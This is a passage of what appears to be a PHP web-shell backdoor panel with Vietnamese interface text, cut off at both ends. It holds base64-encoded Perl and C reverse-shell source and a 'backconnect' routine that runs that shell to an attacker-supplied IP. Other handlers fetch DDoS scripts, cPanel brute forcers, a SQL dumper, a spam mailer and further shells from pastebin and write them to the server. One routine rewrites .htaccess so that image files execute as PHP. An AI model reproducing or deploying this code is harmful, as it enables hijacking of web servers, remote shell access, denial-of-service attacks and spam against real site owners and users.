iPGlmcmFtZSBzcmM9dXBzaGVsbC9iYi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9Cj8+CgoKICA8dHI+CiAgICA8dGQ+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzE3Myc+CiAgICAgIDx0cj4KICAgICAgICA8dGggY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGRpdiBhbGlnbj0ncmlnaHQnPjxzcGFuIGNsYXNzPSdzdHlsZTEnPlNPVVJDRSAgIDo8L3NwYW4+PC9kaXY+PC90aD4KICAgICAgICA8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+CiAgICAgICAgICAgIDxkaXYgYWxpZ249J2xlZnQnPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3ZiYicgIHZhbHVlPSdWQkInPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2psJyAgdmFsdWU9J0pvbUxhJz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd3cCcgIHZhbHVlPSdXb3JkUHJlc3MnPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3ZuJyAgdmFsdWU9J1ZpZXROZXh0Jz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdiYicgIHZhbHVlPSdCby1CbG9nJz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPjwvdGQ+CiAgICAgIDwvdHI+CiAgIDx0cj4KICAgCjwvYm9keT4KPC9odG1sPg==
- ';
- $file = fopen("upshell.php", "w+");
- $write = fwrite($file, base64_decode($perltoolss));
- fclose($file);
- echo "<iframe src=upshell.php width=100% height=720px frameborder=0></iframe> ";
- }
- //BRUTE CP
- elseif ($action == 'brutecp') {
- $brute = 'http://pastebin.com/raw.php?i=bLaffhbm';
- $brutecp = file_get_contents($brute);
- $letgo = fopen('brutecp.php', 'w');
- fwrite($letgo, $brutecp);
- fclose($letgo);
- echo "<iframe src='brutecp.php' width='100%' height='500'></iframe>";
- }
- //DDOS
- elseif ($action == 'ddos') {
- $ddos = 'http://pastebin.com/raw.php?i=kJSN6ifL';
- $getfile = file_get_contents($ddos);
- $done = fopen('ddos.php', 'w');
- fwrite($done, $getfile);
- fclose($done);
- echo "<iframe src='ddos.php' width='100%' height='500'></iframe>";
- }
- //GetBot
- elseif ($action == 'getbot') {
- $ddos1 = 'http://pastebin.com/raw.php?i=3swV6ZBL';
- $getfile1 = file_get_contents($ddos1);
- $done1 = fopen('gogogo.php', 'w');
- fwrite($done1, $getfile1);
- fclose($done1);
- }
- //BUGSHELL
- elseif ($action == 'bugshell') {
- $bug = 'http://pastebin.com/raw.php?i=ifASuwcv';
- $shell = file_get_contents($bug);
- $one = fopen('bugshell.php', 'w');
- fwrite($one, $shell);
- fclose($one);
- echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
- }
- //ssihtml
- elseif ($action == 'ssihtml') {
- $ssi = 'http://pastebin.com/raw.php?i=tDCCyfuK';
- $shtml = file_get_contents($ssi);
- $fuck = fopen('ssishell.shtml', 'w');
- fwrite($fuck, $shtml);
- fclose($fuck);
- echo "<iframe src='ssishell.shtml' width='100%' height='500'></iframe>";
- }
- //EnDecode
- elseif ($action == 'endecode') {
- $en = 'http://pastebin.com/raw.php?i=wmnkLx8s';
- $de = file_get_contents($en);
- $cone = fopen('endecode.php', 'w');
- fwrite($cone, $de);
- fclose($cone);
- echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
- }
- //Md5
- elseif ($action == 'md5') {
- echo "<iframe src='http://www.md5.cz/' width='100%' height='500'></iframe>";
- }
- //Crack Md5
- elseif ($action == 'crackmd5') {
- echo "<iframe src='http://www.hashkiller.co.uk/md5-decrypter.aspx' width='100%' height='500'></iframe>";
- }
- //FINDADMIN
- elseif ($action == 'findadmin') {
- $find = 'http://pastebin.com/raw.php?i=dUNiNBwE';
- $admin = file_get_contents($find);
- $dmm = fopen('findadmin.php', 'w');
- fwrite($dmm, $admin);
- fclose($dmm);
- echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
- }
- //DDosver2
- elseif ($action == 'ddosv2') {
- $ddosv = 'http://pastebin.com/raw.php?i=X6K1UHYi';
- $dess = file_get_contents($ddosv);
- $coneww = fopen('ddosv2.php', 'w');
- fwrite($coneww, $dess);
- fclose($coneww);
- echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
- }
- //ViewDomain
- elseif ($action == 'viewdomain') {
- $viewudomain = 'http://pastebin.com/raw.php?i=pfCrCiBb';
- $desszzzz = file_get_contents($viewudomain);
- $coww = fopen('viewudomain.php', 'w');
- fwrite($coww, $desszzzz);
- fclose($coww);
- echo "<iframe src='viewudomain.php' width='100%' height='500'></iframe>";
- }
- //DumpSql
- elseif ($action == 'dumpsql') {
- $brutecpv2s = 'http://pastebin.com/raw.php?i=JnGPTDRT';
- $dessxx = file_get_contents($brutecpv2s);
- $coneaax = fopen('dumpsql.php', 'w');
- fwrite($coneaax, $dessxx);
- fclose($coneaax);
- echo "<iframe src='dumpsql.php' width='100%' height='500'></iframe>";
- }
- //ByPass
- elseif ($action == 'bypass') {
- $brutecpv2s = 'http://pastebin.com/raw.php?i=d5CKhauK';
- $deliion = file_get_contents($brutecpv2s);
- $cocvbax = fopen('bypass.php', 'w');
- fwrite($cocvbax, $deliion);
- fclose($cocvbax);
- echo "<iframe src='bypass.php' width='100%' height='500'></iframe>";
- }
- //Spammail
- elseif ($action == 'spammail') {
- $brutecpv2s = 'http://pastebin.com/raw.php?i=pVHPNQb4';
- $brutecpv2a = file_get_contents($brutecpv2s);
- $brutecpv2b = fopen('spamail.php', 'w');
- fwrite($brutecpv2b, $brutecpv2a);
- fclose($brutecpv2b);
- echo "<iframe src='spamail.php' width='100%' height='500'></iframe>";
- }
- //BotShellKidAnons
- elseif ($action == 'botkid') {
- $brutecpv2s = 'http://pastebin.com/raw/v5LBBrK5';
- $botKid = file_get_contents($brutecpv2s);
- $botKid1 = fopen('spamail.php', 'w');
- fwrite($botKid1, $botKid);
- fclose($botKid1);
- echo "<iframe src='botkid.php' width='100%' height='500'></iframe>";
- }
- //DieGroupTerminal
- elseif ($action == 'termi') {
- $file = fopen($dir . "DGTerminal.php", "w+");
- $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
- $file = fopen("DGTerminal.php", "w+");
- $write = fwrite($file, base64_decode($perltoolss));
- fclose($file);
- echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
- }
- //BotShellKidAnons
- elseif ($action == 'botkid') {
- $brutecpv2s = 'http://pastebin.com/raw/n3uGHKug';
- $botKid = file_get_contents($brutecpv2s);
- $botKid1 = fopen('spamail.php', 'w');
- fwrite($botKid1, $botKid);
- fclose($botKid1);
- echo "<iframe src='botkid.php' width='100%' height='500'></iframe>";
- }
- //BruteCPv2
- elseif ($action == 'brutecpv2') {
- $brutecpv2s = 'http://pastebin.com/raw.php?i=Xm28RVWL';
- $brutecpv2a = file_get_contents($brutecpv2s);
- $brutecpv2b = fopen('brutecpv2.php', 'w');
- fwrite($brutecpv2b, $brutecpv2a);
- fclose($brutecpv2b);
- echo "<iframe src='brutecpv2.php' width='100%' height='500'></iframe>";
- }
- //kill shell
- elseif ($action == "Delete-Shell") {
- echo '<center>Bạn Thật Sự Muốn Xóa Bỏ Shell Này ?</center><br><br>';
- ?>
- <center><b><a style="color:#ff0000;" href="?action=Delete-shell" title="Delete Shell">XÓa Shell</a> |
- <a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>" title="Back"> Không Xóa</a>
- </b></center><br><br>
- <?php
- }
- if ($action == "Delete-shell") {
- $file = $_SERVER['PHP_SELF'];
- if (@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php'))) die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center><h1>Shell Đã Được Xóa<h1></center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
- else echo '<font color="#fff600" size="2pt">Liên Kết Bị Đứt!</font>';
- }
- //back connect
- elseif ($action == 'backconnect') {
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
- !$yourport && $yourport = '12345';
- $usedb = array('perl' => 'perl', 'c' => 'c');
- $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
- $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
- if ($start && $yourip && $yourport && $use) {
- if ($use == 'perl') {
- cf('/tmp/angel_bc', $back_connect);
- $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
- } else {
- cf('/tmp/angel_bc.c', $back_connect_c);
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
- @unlink('/tmp/angel_bc.c');
- $res = execute("/tmp/angel_bc $yourip $yourport &");
- }
- m("Now script try connect to $yourip port $yourport ...");
- }
- formhead(array('title' => 'Back Connect'));
- makehide('action', 'backconnect');
- p('<p>');
- p('Your IP:');
- makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
- p('Your Port:');
- makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
- p('Use:');
- makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
- makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
- p('</p>');
- formfoot();
- } //end backconnect window via NC
- elseif ($action == 'cgi') {
- mkdir('error', 0755);
- chdir('error');
- $kokdosya = ".htaccess";
- $dosya_adi = "$kokdosya";
- $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
- $metin = "Options +FollowSymLinks +Indexes
- DirectoryIndex default.html
- ## START ##
- Options +ExecCGI
- AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
- AddType application/x-httpd-php .jpg
- RewriteEngine on
- RewriteRule (.*)\.war$ .log
- ## END ##";
- fwrite($dosya, $metin);
- fclose($dosya);
- $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+VEhFIE5FVyBLSU5HUzwvZm9udD4iOwoKJFBhc3N3b3JkID0gInRua3RlYW0iOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfWVsc2V7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxMzA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEVuY29kZURpcgp7CglteSAkZGlyID0gc2hpZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPX4gcy8oXHJ8XG4pLy87CglyZXR1cm4gJGRpcjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsKCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+JEVOVnsnU0VSVkVSX05BTUUnfSB8IElQIDogJEVOVnsnU0VSVkVSX0FERFInfSA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKY29sb3I6ICNmZmY7Cn0KdHIsdGQsdGFibGUsaW5wdXQsdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Owp9CnRkIHsKY29sb3I6ICNmZmZmZmY7Cn0KLmxpc3RkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KLmxpc3RkaXIgdGh7Cgljb2xvcjogI0ZGOTkwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI2ZmOTkwMDsKfQppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KY29kZSB7CmJvcmRlcjogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogd2hpbGU7Cn0KcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiAjRkYwMEFBOwp9CnRleHRhcmVhIHsKQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICNhYWE7Cn0KQTpsaW5rIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9Ci5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEVuY29kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9d